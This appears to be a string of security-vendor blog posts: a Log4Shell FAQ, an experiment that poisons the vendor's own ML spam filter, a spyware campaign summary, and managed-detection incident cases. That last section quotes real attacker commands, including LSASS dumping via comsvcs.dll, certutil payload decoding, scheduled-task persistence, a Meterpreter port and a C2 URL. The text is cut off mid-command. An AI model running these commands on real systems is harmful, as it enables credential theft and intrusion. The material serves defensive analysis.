And, of course, there was no escaping the all-conquering Korean show Squid Game, which is so popular we made it a separate item. The entire Internet seemed to go crazy with dalgona recipes, while store shelves were literally overflowing with plush toy versions of the sinister, yet comical masked guards. Even if you haven’t seen the series, it is difficult not to have heard of it. Although it’s not intended for younger viewers, any kid is likely to be delighted by a gift associated with such a smash hit. In addition to a fluffy security guard, you could present a pair of classic Vans Slip-On sneakers in white. Even after the popularity of the series wanes, light-colored sneakers are sure to remain a stylish wardrobe item. You can also pick up a Squid Game-based educational gift. For example, a game of marbles will quickly teach your child the difference between odd and even numbers.

Movies account for just 8.29% of searches and also show less variety than, say, cartoons. Most often, children searched for Venom: Let There Be Carnage and Spider-Man: No Way Home. The perfect reason to go to the movies or enjoy a cozy family viewing over the Christmas period!

Toys and science: More great gift ideas

Besides the most popular search topics, we’ve highlighted some less popular ones that can nevertheless help with gift ideas. For example, among toys, kids most often searched for LEGO and Barbie — simply choose a LEGO set or doll that matches your child’s likes and interests. Among searches on educational topics, children showed interest in the animal world and scientific experiments. Why not try a kids’ chemistry set for Christmas, or throw a physics-themed party? A trip to an aquarium or a zoo is also a great option.


You don’t need to be told that to find the perfect gift for your child, you need to know where his or her interests lie. Besides the obvious popular things that nearly all kids love, each child has their own individual interests and hobbies. Moreover, to pick the right gift, you need to understand not only the latest trends and your child’s current passions, but also how quickly they become obsolete. Only yesterday children were mad about Among Us, yet today it is gathering dust, having been supplanted by Huggy Wuggy and the Squid Game guards. And the day before yesterday (an eternity ago), spinners and slimes were all the rage, while now Pop It is in. What tomorrow will bring is anyone’s guess. In any case, it’s worth remembering that a gift is not always something practical and tangible. The best present of all is positive emotions.

2021. december 20.

Answering Log4Shell-related questions

Important notice

On December 18th, Log4j version 2.17.0 was released to address open vulnerabilities. It is highly recommended to update your systems as soon as possible.

History of the Log4j library vulnerabilities

The summary of the Log4Shell situation

On December 9th, a Chinese researcher posted his now monumental discovery on Twitter: there was a Remote Code Execution vulnerability in the popular Apache Log4j library. This library is used in millions of commercial and open-source applications. Ranked a 10/10 in terms of severity, CVE-2021-44228 or Log4Shell is capable of giving attackers full control over the targeted systems.

The exploit takes advantage of Apache’s Java Naming and Directory Interface (JNDI), which provides programmers a way to easily process remote commands and remote objects by calling external objects. However, with Log4Shell, attackers can inject their own code into the JNDI lookup command – code that will then be executed on the targeted system.

How an attack is carried out with the Log4Shell vulnerability

Attackers have been seen using the vulnerability in numerous ways, one of which is to execute XMRig, an infamous cryptominer. Another is to execute the Kinsing malware – another cryptominer that uses rootkits to hide their malicious activities.

So far, exploitation attempts have been noted around the globe and are expected to continue in the coming months.

To safeguard systems, it’s important to:

  • Check if Log4j is installed
  • Update to the latest version
  • Monitor application logs

You can find more information about the vulnerabilities (technical details, mitigation, statistics) in our blogpost “CVE-2021-44228 vulnerability in Apache Log4j library“.

In addition, check out the answers to some of users’ biggest security questions about the Log4Shell vulnerability. The questions were asked during our “The Log4Shell Vulnerability – explained: how to stay secure” webinar.

The Log4Shell vulnerability webinar FAQ
  1. Is it safe to use version 1.x?
  2. Log4j 1.x is an outdated version no longer supported. The last version 1.2.17 was released in 2016. In general, software that is not updated or maintained poses a serious security risk as this software may contain unknown and unpatched vulnerabilities that will weaken your security.

  3. Have you seen exploitation attempts using Log4j directly as something like ${attack code} without using any jndi strings?
  4. No, we have not seen this kind of string so far.

  5. On the map and graphs of hits, are exploits being shown or exploits plus scans? How do you differentiate between the two?
  6. The graphs only contain Log4j related exploitation attempts. Basic scanning and other types of attacks are not included. We are using deep parsing and filtering methods to reveal malicious requests in any of the relevant sections (e.g. header entries such as user-agent or referer).

  7. Is IoT vulnerable to Log4j?
  8. This heavily depends on the device/vendor. There are most likely devices that contain vulnerable Log4j versions – e.g. if the interface or core application running is built on Java and incorporates this module.

  9. Is there any information based on IoCs about when the first attack occurred?
  10. The first attacks we’ve seen occurred on 10.12.2021. Of course, this heavily depends on visibility and the amount and sources of data. There are posts suggesting earlier attacks (beginning of December). Based on our data, we currently can not confirm this.

  11. Am I safe if I only remove the JNDILookup class from Log4j?
  12. According to the vendor publications’ new updates, you can disable the JNDILookupfeature from the Log4j library, and this configuration modification will help reduce the exploitation impact; however, the vendor recommends updating to the latest version if it’s possible.

  13. Is there a way to check if the vulnerability exists on a server? Are there any traces that the attackers leave?
  14. All the JNDI exploitation attempts observed contain at least the ${jndi string in the request; however, the attackers have applied several obfuscation techniques and character replacements. Also, the Github community includes several log analyzers’ scanners to verify the presence of an exploitation attempt in your system.

  15. What is the mitigation plan for this vulnerability when it comes to Linux servers?
  16. The mitigation strategy will always depend on the environment where the Log4j library is executed. The vendor recommends updating to the latest version if possible, which will fix the current exploitation issue. Other recommendations are:

  • Limit the outbound connections to unknown remote servers
  • Disable the JNDI lookup feature
  • Deploy WAF technologies and custom rules to block exploitation attempts.
  • Block the connections to your perimeter to IPs that are exploiting servers worldwide. We provide free IOCs related to Log4j exploitation attempts.
  • I have seen a lot of RMI Port 1099 connection attempts on my IPS. Is this type of traffic normal?
  • It will always depend on whether your infrastructure uses this type of service. For security, we recommend enabling this service only when necessary to reduce the attack surface of your organization. We have observed the use of the RMI service in the Log4Shell exploitation attempts.

  • If I have Java 8 installed on my machine, does that automatically mean I have the Log4j exploit?
  • In order to be vulnerable, the system has to execute software that uses the Log4j component as a part of the execution.

  • Is Kaspersky providing free IDS rules?
  • No, we provide rules for our customers that are using our Threat Intelligence services.

  • Do you see any vulnerabilities on IIoT devices?
  • This will depend on the vendor/software running on these IoT devices. We don’t have information about specific exploitation attempts targeting only that ecosystem.

  • Is there a way to check if the vulnerability exists in third-party libraries? I am referring to projects that are built without Java but might have some dependencies under the hood.
  • We recommend following the DevSecOps principle and scanning the software repositories using different SAST technologies.

  • When using the Base64 method, is an LDAP server still required?
  • The exploitation attempt will use different types of services like LDAP, RMI, DNS etc. The exploit uses a malicious Java class in order to exploit the vulnerability, so the attacker will set up a listener on the malicious infrastructure side.

  • Is Log4j effective even if Java is disabled?
  • Java can be disabled in the server but the library can still be embedded or used by other software that is running in your infrastructure.

  • Am I vulnerable if I have Java installed on my server or end-user device?
  • The vulnerability affects either client side or server side.

    2021. december 20.

    How and why do we attack our own Anti-Spam?

    We often use machine-learning (ML) technologies to improve the quality of cybersecurity systems. But machine-learning models can be susceptible to attacks that aim to “fool” them into delivering erroneous results. This can lead to significant damage to both our company and our clients. Therefore, it is vital that we know about all potential vulnerabilities in our ML solutions and how to prevent attackers from exploiting them.

    This article is about how we attacked our own DeepQuarantine ML technology, which is part of the Anti-Spam system, and what protection methods we deployed against such attacks. But first, let’s take a closer look at the technology itself.


    DeepQuarantine is a neural network model designed to detect and quarantine suspicious e-mails. It buys Anti-Spam system time to update our spam filters and do a rescan. The DeepQuarantine process is analogous to the work of an airport security service. Passengers who arouse suspicion are taken away for additional screening. The passenger has to wait while the security service inspects their baggage and checks their documents. If the all-clear is given, the passenger is allowed through, otherwise they are detained. In the case of the Anti-Spam system, the role of security service is played by Anti-Spam experts and services that process large flows of spam and create new detection rules while the e-mail is in quarantine; the role of the passenger’s baggage and documents goes to the e-mail headers. If the header analysis reveals new signs of spam messages, a detection rule is created based on the results. At the same time, other e-mails may be processed while the message is quarantined resulting in new detection rules. After the e-mail leaves quarantine, it is rescanned. If this triggers any of the new rules, the message gets blocked; if not, it is delivered to the recipient. Note that the quarantine technology needs to be very accurate so as not to delay legitimate e-mails — just as airport security cannot perform a full screening of every single passenger, as this would mess up the departure schedule.

    Read more about how DeepQuarantine works here. To successfully attack an ML model, two things must be known: 1) what features it uses for decision-making; 2) how its training data is generated.

    To identify suspicious e-mails, DeepQuarantine uses a sequence of technical headers (for example, the value of this feature in figure 1 would be “Subject:From:To:Date:Message-Id:Content-Type:X-Mailer”), plus the contents of the Message-Id (unique message identifier) and X-Mailer (mail client name) fields. These features were chosen because they depend on the type of mail client used and might contain traces of the spammer.

    Figure 1. E-mail technical headers

    Figure 2 illustrates how the algorithm operates. On the left is a real message from PayPal; on the right is a fake. For sending e-mails, the Message-Id is mandatory, and its format depends on the mail client. If we compare the headers of the fake with those of the original, what stands out is the lack of a domain and the random sequence of characters in this field.

    Figure 2. Comparison of real and fake PayPal e-mail headers

    These and other traces get left by scammers in various technical headers that the model processes and creating analytical rules to detect them is not a trivial task.

    Now let’s look at the process of generating training data, which was  the starting point for implementing the attack on our model.

    Figure 3. Training sample generation scheme

    Data and labels for training the model are generated automatically during general operation of the Anti-Spam system. The training sample generation scheme is shown in figure 3. After scanning messages, Anti-Spam forwards their headers and verdicts to Kaspersky Security Network (KSN), if the client has consented to data processing. From KSN, this data is sent to a repository, from where it is taken to train the model. Message headers are used as analysis samples, and verdicts from the Anti-Spam engine are used as labels.

    Attacks on machine-learning models

    What makes attacks on machine-learning models possible? Largely because, with machine-learning techniques, the distribution of data in the training sample is expected to match the distribution of data that the model encounters in the real world. Violation of this principle can lead to unexpected behavior on the part of the algorithm. Accordingly, attacks on machine-learning models can be divided into two kinds:

    1. Adversarial inputs — generating input data that causes an already trained and deployed model to deliver an incorrect verdict.
    2. Data poisoning — influencing the training sample to produce a biased model.

    In the first case, in order to succeed, the adversary often needs to interact directly with the model. DeepQuarantine is only one component of the Anti-Spam system, so direct interaction with it is ruled out. The second type of attack is far more dangerous for our model. Let’s take a closer look.

    Data-poisoning attacks can be further divided into two subtypes:

    1. Model skewing — contaminating the training sample in order to shift the model’s decision boundary. An example of such an attack is the targeting of Google’s spam classifier, in which advanced spam groups tried to contaminate the training sample by marking a large amount of spam as “not spam.” The aim was to make the system allow more spam messages through.
    2. Backdoor attack — introducing examples with a certain marker into the training sample to force an incorrect decision from the model, but only when this marker appears. For example, embedding a gray square in pictures belonging to a certain class (say, dogs), so that the model starts to recognize a dog when it sees this square. The picture might not be of a dog at all.

    There are several ways to reduce the risk of a successful data-poisoning attack:

    1. Ensure that input data from a low number of sources (for example, from a small group of users or IP addresses) do not make up the majority of the training sample. This can make it harder for spammers to implement such attacks by forcing them to take additional steps to prevent their manipulations from being rejected as statistical outliers.
    2. Before releasing an updated version of the model, compare it with the latest stable version using a range of techniques such as A/B testing (comparing versions with various changes in a test environment), dark launch (running the updated service for a small pilot group of clients) or backtesting (testing the model on historical data).
    3. Create a benchmark dataset for which the correct evaluation result is known and against which you can validate the accuracy of the model.
    Attack on DeepQuarantine

    Now let’s move on to attacking DeepQuarantine. Let’s say the attacker’s goal is to have all e-mails sent by his employer’s rival company land in quarantine, which will badly impact its business processes. We investigate the attacker’s steps:

    1. Find out which mail client the company uses and what type of headers are generated when the company sends e-mails.
    2. Generate spam messages with headers similar to those of the victim company. Add some obvious spam-filter triggers to the body of the message, for example, explicit advertising or known phishing links, so that the messages are almost inevitably labeled as spam.
    3. Send these messages to our clients so that the Anti-Spam system blocks them and the related statistics get into the training and test sample, as illustrated in figure 3.

    If, after being trained on the poisoned sample, the model passes testing, the attacked model is released, and e-mails from the victim company start being quarantined. Next, we experiment with different data-poisoning techniques.


    First, we took clean samples of training and test data, consisting of sets of e-mail headers with corresponding Anti-Spam verdicts. In both samples, we added poisoned headers mimicking the victim company with the verdict “spam” in varying amounts: 0.1, 1.5 and 10% of the sample size. For each experiment, the proportion of poisoned data in the training and test samples was the same.

    Having trained the model on the poisoned training sample, we used the test sample to check the precision (proportion of correct positive verdicts out of all the model’s positive verdicts) and recall (proportion of correct positive verdicts out of the total number of spam headers in the sample) metrics, as well as the degree of confidence of “spam” verdicts assigned by the model to the victim company’s e-mails.

    Experiment №1. Model skewing

    Our first experiment implemented a model-skewing approach, as in the attack on Google’s anti-spam model. However, unlike the Google example, the aim was to simulate an attack on a specific company, which is a little more complicated. In this case, we used the domain of the chosen company (figure 4) in the Message-Id field, but the ID itself was generated randomly, retaining only the length specific to the mail client used by this company. We did not change the sequence of headers or the X-mailer field from the victim company’s mail client.

    Figure 4. Poisoned example template

    We analyzed how our target metrics (precision and recall) change on the test dataset depending on the proportion of poisoned data relative to the training sample size. The results are presented in figure 5. As seen in the graph, the target metrics remain almost unchanged relative to there being no poisoned examples in the data. This means that the model trained on the poisoned sample could be released.

    Figure 5. Target metrics depending on the amount of poisoned data

    Using the headers of real e-mails from our chosen company, we additionally tested how data poisoning affects the model’s confidence that the message should be quarantined.

    As illustrated in figure 5, when the share of poisoned data exceeds 5%, the model is already strongly inclined to believe that the victim company’s e-mails should be quarantined. Consequently, such a biased model could sever the correspondence between this company and our clients, which is what the attacker is trying to achieve.

    Figure 6. Change in the density of the model’s confidence in the need to quarantine the victim company’s e-mails based on the amount of data poisoning

    Now, based on those objects that caused the model to make a wrong decision, let’s see what it was looking at. To do this, we built a series of Saliency Maps (see figure 6), using the Saliency via Occlusion method, in which the saliency of certain parts of the headers is established by alternately hiding these parts and assessing how this alters the confidence of the model. The darker the area in the picture, the more attention the neural network pays to this region in the decision-making process. The figure also shows how many e-mails from the chosen company (Target) and other companies (Other) land in quarantine.

    Figure 7. Saliency Maps

    As we see in the graphs, as long as there is insufficient poisoned data for the model to return a false positive on e-mails from the victim company, the model concentrates mainly on the Message-Id field. But once the poisoned data becomes enough to bias the model, its attention becomes evenly distributed between Message-Id, the X-mailer field (MUA on the graph) and the sequence of headers in the e-mail (Header sequence).

    Note that even though 5% poisoned data is enough for a successful attack, in absolute terms this is quite a lot of data. For example, if we use more than 100 million e-mails for training, an attacker would need to send more than 5 million, which would probably be picked up by the monitoring systems.

    Can we attack our model more effectively? It turns out we can.

    Experiment №2. Backdoor attack with timestamp

    Some Mail User Agents specify timestamps in the Message-Id field. We used this fact to create poisoned headers with a timestamp corresponding to the model’s release date. In the event of a successful attack, the model quarantines e-mails from the victim company received on the day of release. Figure 8 shows how we generated the poisoned data.

    Figure 8. Backdoor in data in the form of a timestamp

    Does such data poisoning affect the target metrics in pre-release testing of the model? The result was the same as in the model-skewing attack (figure 9).

    Figure 9. Target metrics depending on the amount of poisoned data

    Was the attack more efficient in terms of the amount of data poisoning required? As we see in figure 10, the attacker in this case needed only 0.1% poisoned data to shift the model towards marking the victim company’s e-mails as suspicious.

    Figure 10. Change in the density of the model’s confidence in the need to quarantine the victim company’s e-mails based on the amount of data poisoning

    Let’s take a look at the Saliency Maps again to see what our model was paying attention to in this case. Figure 11 shows that at 0.1% poisoning, the model focuses on the domain start zone, agent type and header sequence. At 1% poisoning, the neural network mostly concentrates on the timestamp. We also notice that when the model is focused only on the timestamp, it issues more false positives on e-mails from other companies whose Message-Id also starts with a timestamp. As the level of poisoning increases, the model becomes focused on the timestamp and the domain start zone. At the same time, it shows no interest in the X-mailer field and the Header sequence.

    Figure 11. Saliency Maps

    Experiment №3. Backdoor attack with timestamp. Delayed attack

    In the previous experiment, we were able to significantly improve the attack effectiveness. But in reality it is unlikely that an attacker would know the model release date. In this experiment, we decided to conduct a delayed attack to see if this would affect the test results. To do so, we generated poisoned headers with a timestamp shifted one year from the current release date (that is, not the same).

    The results are shown in figure 12: the sample poisoning was not reflected in any way during testing, which is the most dangerous outcome for us, since it means an attack is almost impossible to detect. Given that the backdoor will be activated at an uncertain moment in the future, even dark launch and A/B testing will not help identify an attack.

    Figure 12. Dependence of the model’s confidence in the need to quarantine the victim company’s e-mails on the amount of data poisoning

    From the results of the experiments, we drew the following conclusions:

    1. Model skewing requires a fairly large number of poisoned samples
    2. The fact of an attack is not reflected in precision and recall
    3. Adding a “backdoor” (in our case, a timestamp) makes the attack more effective
    4. Dark launch and A/B testing can be ineffective in the case of a delayed attack

    We experimentally demonstrated a successful attack on our technology. But this prompts the question: how to defend against such attacks?

    Protection against attacks on the ML model

    In the context of our experiments, let’s take a closer look at ways to guard against data-poisoning attacks, which we mentioned in the “Attacks on machine-learning models” section: controlled selection of training data; techniques such as A/B testing, dark launch or backtesting; generation of a carefully controlled benchmark dataset. The controlled selection of objects for the training sample really does complicate attack implementation, because the attackers have to find a way to send fake data so that it is difficult to group and filter. This can be technically difficult, but, unfortunately, not impossible. For example, to prevent poisoned e-mails from being grouped by IP address, an attacker can use a botnet.

    When it comes to creating an additional benchmark dataset that the model should fit very closely, in the case when the distribution of data changes over time, the question arises as to how long this dataset will remain current.

    Comparing the updated model with the latest stable working version seems like a better solution, since this allows us to monitor changes in the models. But how to compare them with each other?

    Let’s consider two options: comparing model versions on the current test dataset (Option 1), and comparing model versions on test datasets that are current at the time of release of each of the versions (Option 2). The table below shows the sequence of tests that we ran for both options.

    Option 1 Option 2 Comparison of quality metrics Comparison of quality metrics Tests for paired samples Tests for independent samples Homogeneity tests Homogeneity tests

    First, we compared the target metrics of the models. At this stage we saw no significant variations between the original version and the updated one trained on a sample with varying degrees of data contamination. We obtained a similar result in the experimental attacks.

    At the second stage of model comparison, we conducted a series of statistical tests:

    The experiments revealed something curious: it turned out that the criteria produced significant differences even when comparing two models trained on a clean sample, although the predictive distributions of these models did not differ much from each other. This happened because, with a large amount of data, the tests are overly sensitive to the slightest changes in the shape of the distribution. But when we reduced the amount of data in the statistical tests, we often found no significant differences at all, because messages targeted in the attack might not even end up in the taken sample. Unsatisfied by this result, we developed our own criterion.

    We proceeded from the fact that models trained on a clean sample differed little in terms of the distribution shape produced by the corresponding test datasets. While in the distribution of predictions of a model trained on a poisoned sample, “humps” can appear toward the right end of the distribution. Figure 13 shows one such large “hump” for illustrative purposes. In reality, though, it will be barely noticeable, since the volume of e-mails from the victim company will likely make up a small proportion of the total message flow.

    Figure 13. Modeled distribution of model predictions on legitimate e-mails

    In the course of the analysis, we arrived at the Wasserstein metric. In effect, this metric serves as a measure of the distance between distributions. Our criterion looks as follows:

    H0: distributions of predictions on a sample of non-spam e-mails before and after training do not show statistically significant variations, that is, the system remained unchanged.

    H1: variations in distributions are statistically significant, that is, the system has undergone changes.

    We used the Wasserstein metric to assess the variations between the distributions of predictions of the old and new models on a sample of legitimate e-mails. To assess the statistical significance of the variations in the distribution of predictions, we needed to find out the distribution of these variations given a correct null hypothesis, that is, for versions of the model that did not undergo significant changes. We obtained this distribution using bootstrapping — sampling predictions of models trained on clean data, but in different time periods. In this way, we reconstructed the actual real-world situation. After that, we performed a series of statistical tests, comparing the distributions of the predictions of the original model and the model trained on a sample with different proportions of poisoned data. The Wasserstein criterion did not reveal significant differences for normal models, or for the model trained on delayed-attack data. This is to be expected, since we have seen that a delayed attack does not manifest itself in any way in the test. In other cases, however, we found significant differences. This means that the Wasserstein criterion allows us to detect most attacks of this kind in good time.

    As for delayed attacks, and the general possibility of introducing a backdoor label into the data, a detailed data audit for potential backdoors is required. As is testing the machine-learning model for resistance to such attacks.


    Ever more machine-learning methods are being introduced into various services. This raises performance indicators and improves the lives of users. However, it also makes new attack scenarios possible. Our experiment shows that:

    1. Data-poisoning attacks can do significant damage to machine-learning models.
    2. Attackers do not need to be data scientists.
    3. Timestamps can easily be used as a backdoor to attack a machine-learning model.
    4. Standard quality metrics do not reflect the fact of a data-poisoning attack.
    5. To reduce the likelihood of a successful attack on a model, the training and sampling process must be controlled.
    6. Extreme care must be taken when disclosing the details of model training and architecture so that attackers cannot exploit them.
    7. Before a model is released, the criteria used should be thoroughly tested to determine the model’s readiness and whether they can detect a potential attack. If the criteria are not sufficient to establish whether the model was attacked, it makes sense to develop your own.
    2021. december 16.

    PseudoManuscrypt: a mass-scale spyware attack campaign

    In June 2021, Kaspersky ICS CERT experts identified malware whose loader has some similarities to the Manuscrypt malware, which is part of the Lazarus APT group’s arsenal. In 2020, the group used Manuscrypt in attacks on defense enterprises in different countries. These attacks are described in the report “Lazarus targets defense industry with ThreatNeedle“.

    Curiously, the data exfiltration channel of the malware uses an implementation of the KCP protocol that has previously been seen in the wild only as part of the APT41 group’s toolset. We dubbed the newly-identified malware PseudoManuscrypt.

    The PseudoManuscrypt loader makes its way onto user systems via a MaaS platform that distributes malware in pirated software installer archives. One specific case of the PseudoManuscrypt downloader’s distribution is its installation via the Glupteba botnet (whose main installer is also distributed via the pirated software installer distribution platform). This means that the malware distribution tactics used by the threat actor behind PseudoManuscrypt demonstrate no particular targeting.

    During the period from January 20 to November 10, 2021, Kaspersky products blocked PseudoManuscrypt on more than 35,000 computers in 195 countries of the world. Such a large number of attacked systems is not characteristic of the Lazarus group or APT attacks as a whole.

    Targets of PseudoManuscrypt attacks include a significant number of industrial and government organizations, including enterprises in the military-industrial complex and research laboratories.

    According to our telemetry, at least 7.2% of all computers attacked by the PseudoManuscrypt malware are part of industrial control systems (ICS) used by organizations in various industries, including Engineering, Building Automation, Energy, Manufacturing, Construction, Utilities, and Water Management.

    The main PseudoManuscrypt module has extensive and varied spying functionality. It includes stealing VPN connection data, logging keypresses, capturing screenshots and videos of the screen, recording sound with the microphone, stealing clipboard data and operating system event log data (which also makes stealing RDP authentication data possible), and much more. Essentially, the functionality of PseudoManuscrypt provides the attackers with virtually full control of the infected system.

    More information on PseudoManuscrypt is available on the Kaspersky ICS CERT website.

    2021. december 15.

    Kaspersky Managed Detection and Response: interesting cases

    Kaspersky Managed Detection and Response (MDR) provides advanced protection against the growing number of threats that bypass automatic security barriers. Its capabilities are backed by a high-professional team of security analysts operating all over the world. Each suspicious security event is validated by our analysts complementing the automatic detection logic and letting us continuously improve the detection rules.

    The MDR results allow us to map out the modern threat landscape and show techniques used by attackers right now. We share these results with you so that you are more informed about in-the-wild attacks and better prepared to respond.

    PrintNightmare vulnerability exploitation

    This summer, we witnessed a series of attacks using a dangerous vulnerability in the Windows Print Spooler service: CVE-2021-1675/CVE-2021-34527, also known as PrintNightmare. This vulnerability was published in June 2021 and allows attackers to add arbitrary printer drivers in the spooler service and thus remotely execute code on a vulnerable host under System privileges. We have already published the technical details of this vulnerability, and today we will talk about how MDR analysts detected and investigated attacks that exploit this vulnerability in real companies.

    Case #1

    Shortly after the PrintNightmare vulnerability was published, a detailed report with a technical description of the problem, as well as a working PoC exploit, was posted on GitHub by mistake. The repository was disconnected several hours later, but during this time several other users managed to clone it.

    Kaspersky detected an attempt to exploit the PrintNightmare vulnerability using this publicly available tool. The MDR team observed a request to suspicious DLL libraries from the spooler service. It should be noted, that the file names used by the attacker were exactly the same as those available in the public exploit on GitHub.

    Kaspersky detected suspicious DLL libraries (nightmare.dll) on the monitored host. C:\Windows\System32\spool\drivers\x64\3\nightmare.dll C:\Windows\System32\spool\drivers\x64\3\old\1\nightmare.dll In addition, the following script was found on the host. \cve-2021-1675-main-powershell\cve-2021-1675-main\cve-2021-1675.ps1

    The table below contains signs of suspicious activity that served as a starting point for the investigation.

    MITRE ATT&CK Technique MDR telemetry event type used Detection details Description T1210:
    Exploitation of
    Services Local File Modification Modified file path:
    File modifier:
    Parent of the modifier:
    C:\Windows\System32\services.exe Legitimate spoolsv.exe
    locally modified
    3\old\1\nightmare.dll T1588.005:
    Exploits AV exact detect in
    OnAccess mode File:
    AV verdicts:
    UDS:Exploit.Win64.CVE-2021-1675.c CVE-2021-1675 exploit
    was detected and
    successfully deleted
    by AM engine Case #2

    In another case, MDR analysts discovered a different attack scenario related to the exploitation of the PrintNightmare vulnerability. In particular, spooler service access to suspicious DLL files was observed. In addition, the spooler service executed some unusual commands and established a network connection. Based on the tools used by attackers, we presume that this activity was related to penetration testing.

    MDR analyst detected the creation of suspicious DLL libraries using the certutil.exe tool on a monitored host.
    After that, the spooler service was added to the planned tasks. C:\Windows\System32\spool\driver
    s\x64\3\new\unidrv.dll… Next, the spooler service called the newly created DLL files.
    In addition, the attacker ran some of the created libraries using the rundll32 component. Several hours later, a new wave of activity began. The Kaspersky MDR team detected a registry key modification that forces NTLMv1 authentication. It potentially allows NTLM hashes to be intercepted. \REGISTRY\MACHINE\SYSTEM\Control
    Set001\Control\Lsa\MSV1_0 Then the attacker re-added spooler to the planned tasks.
    After that, execution of various commands on the host with System privileges was observed. The source of this activity was c:\windows\system32\spoolsv.exe process C:\Windows\System32\cmd.exe /c
    net start spooler
    C:\Windows\System32\cmd.exe /c
    timeout 600 &gt; NUL &amp;&amp;
    net start spooler

    The table below contains signs of suspicious activity that were the starting point for investigation.

    MITRE ATT&CK Technique MDR telemetry event type used Detection details Description T1570:
    Lateral Tool Transfer Web AV exact detect in OnDownload mode AV verdict: HEUR:Trojan.Win32.Shelma.gen Attacker downloads
    suspicious DLL (that is,
    Meterpreter payload) via
    HTTP T1140:
    Deobfuscate/Decode Files or Information Local File Modification Process command lines:
    certutil  -decode 1.txt
    C:\Share\hello4.dll Attacker used certutil
    to decode text file into PE
    binary T1003.001:
    OS Credential Dumping: LSASS Memory AV exact detect in OnAccess mode AV verdicts:
    Trojan-PSW.Win32.Mimikatz.gen Attacker tried to use
    Mimikatz T1127.001:
    Trusted Developer Utilities Proxy Execution: MSBuild Outbound network connection Process command line:
    .0.30319\MSBuild.exe  C:\Share\1.xml MSBuild network activity T1210:
    Exploitation of Remote Services Local File Modification Modified file path:
    \3\old\1\hello5.dllFile modifier:
    Parent of the modifier:
    C:\Windows\System32\services.exe Legitimate
    spoolsv.exe locally
    4\3\old\1\hello5.dll T1547.012:
    Boot or Logon Autostart Execution: Print Processors
    System Owner/User Discovery Process start Command line: whoami
    Process integrity level: System
    Parent process:
    Grandparent process:
    C:\Windows\System32\services.exe Legitimate
    spoolsv.exe started
    whoami with System
    integrity level T1547.012:
    Boot or Logon Autostart Execution: Print Processors Outbound network connection Process command line:
    Remote TCP port: 4444/TCP Legitimate
    spoolsv.exe made a
    connection to default
    Meterpreter port
    (4444/TCP) T1547.012:
    Boot or Logon Autostart Execution: Print Processors
    Command and Scripting Interpreter: Windows Command Shell
    System Owner/User Discovery Process start Command line: whoami
    Process integrity level: System
    Parent process:
    Grandparent process:
    C:\Windows\System32\spoolsv.exe Legitimate
    spoolsv.exe started
    cmd.exe that started
    whoami with System
    integrity level MuddyWater attack

    In this case, the Kaspersky MDR team detected a request from the customer’s infrastructure to a malicious APT related host. Further investigation allowed us to attribute this attack to the MuddyWater group. MuddyWater is a threat actor that first surfaced in 2017. This APT group mainly targets government agencies in Iraq, Saudi Arabia, Jordan, Turkey, Azerbaijan, and Pakistan. Kaspersky’s report on this group’s activity is available here.

    Among other methods, the group uses VBS implants in phishing emails as an initial attack vector. During execution, the implant accesses URLs with a common structure to connect to the C2 server. The typical structure of the URL is provided below.

    First of all, MDR analysts found a VBS implant from startup, presumably related to the MuddyWater group, to be running on the monitored host. \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\KLWB6.vbs After script execution, some malicious resources were accessed. The structure of these URLs follows the common structure used by the MuddyWater group. In addition, the accessed IP address was observed in other attacks of this group. hxxp://185[.]117[.]73[.]52:443/getTarget
    d?guid=xxx-yyy-zzz* Next, execution of commands to collect information from the compromised host was observed. “C:\Windows\System32\cmd.exe” /c
    explorer.exe >>
    c:\ProgramData\app_setting_readme.txt “C:\Windows\System32\cmd.exe” /c whoami >> c:\ProgramData\app_setting_readme.txt

    * xxx is company short name (identifier), yyy is the victim hostname and zzz is username

    Table below contains signs of suspicious activity that were the starting point for investigation.

    MITRE ATT&CK Technique MDR telemetry event type used Detection details Description T1071:
    Application Layer Protocol Access to malicious hosts from nonbrowsers Target URL:
    CMD line:
    “C:\Windows\System32\WScript.exe” C:\Users\USERNAME\AppData\Roaming\Microsoft\Windo
    ws\Start Menu\Programs\Startup\KLWB6.vbs
    C:\Windows\system32\wscript.exe VBS script accessed malicious URL during execution T1071:
    Application Layer Protocol URL exact detect Malicious URL:
    AV verdict:
    Malware Malicious URL was successfully detected by AV Credential Dumping from LSASS Memory

    In the last case, we’d like to talk about an attack related to collecting credentials from the LSASS process memory dump (T1003.001 MITRE technique). Local Security Authority Subsystem Service (LSASS) stores a variety of credentials in process memory. These credentials can be harvested by System or administrative user and then used for attack development or lateral movement.

    MDR analysts detected an attempt to dump the LSASS process memory on the monitored host, despite the fact that most of the attacker’s actions did not differ from the usual actions of the administrator. The attackers used two public tools (the first one was detected and blocked by an AV solution) to dump the LSASS process memory and export the obtained dump via Exchange server. In particular, the MDR team observed the download and execution of a suspicious DLL file (categorized as SSP) by LSASS.exe.

    The attacker executed several recon commands to get more information about the host, and then ran commands to get the LSASS process ID. C:\Windows\System32\tasklist.exe
    C:\Windows\System32\findstr.exe /i sass After that, the attacker tried to run a malicious tool to dump the process memory, but it was blocked by an endpoint protection solution. “C:\Windows\System32\rundll32.exe”
    C:\Windows\System32\comsvcs.dll MiniDump 616
    c:\programdata\cdera.bin full

    ## 616 is LSASS process id

    Then the attacker tried to dump the LSASS process memory using another tool. They unzipped an archive containing the resource.exe and twindump.dll files. C:\Windows\System32\cmd.exe /C c:\”program files”\7-
    zip\7z.exe x -pKJERKL6j4dk&@1 c:\programdata\m.zip -o

    ## resource.exe and twindump.dll files were created

    Subsequently, the file resource.exe was added to the planned tasks and executed. However, the attempt to obtain an LSASS dump was unsuccessful. C:\Windows\System32\cmd.exe /C
    C:\Windows\System32\staskes.exe /create /tn Ecoh /tr
    “cmd /c C:\Windows\cluster\resource.exe
    ase2af6das3fzc2 agasg2aa23gfdgd” /sc onstart /ru
    system /F

    ## staskes.exe is a renamed schtasks.exe file

    Later, one more attempt to perform this technique was made. The attacker unpacked an archive containing another malicious utility, and ran it the same way as previously. The created files are presumably related to the MirrorDump tool. As a result, the attacker successfully obtained an LSASS dump. C:\Windows\System32\cmd.exe /C c:\”program files”\7-
    zip\7z.exe x -p”KJERfK#L6j4dk321″
    c:\programdata\E.zip -o c:\programdata\
    /C c:\windows\system32\staskes.exe /create /tn Ecoh /tr
    “c:\programdata\InEnglish.exe g2@j5js1 0sdfs,48
    C:\programdata\English.dmp” /sc onstart /ru system /F C:\Windows\System32\cmd.exe /C c:\windows\system32\staskes.exe /run /tn Ecoh Then the obtained dump was exported to Exchange server. Afterwards, the attacker deleted all the created files. C:\Windows\System32\cmd.exe /C copy
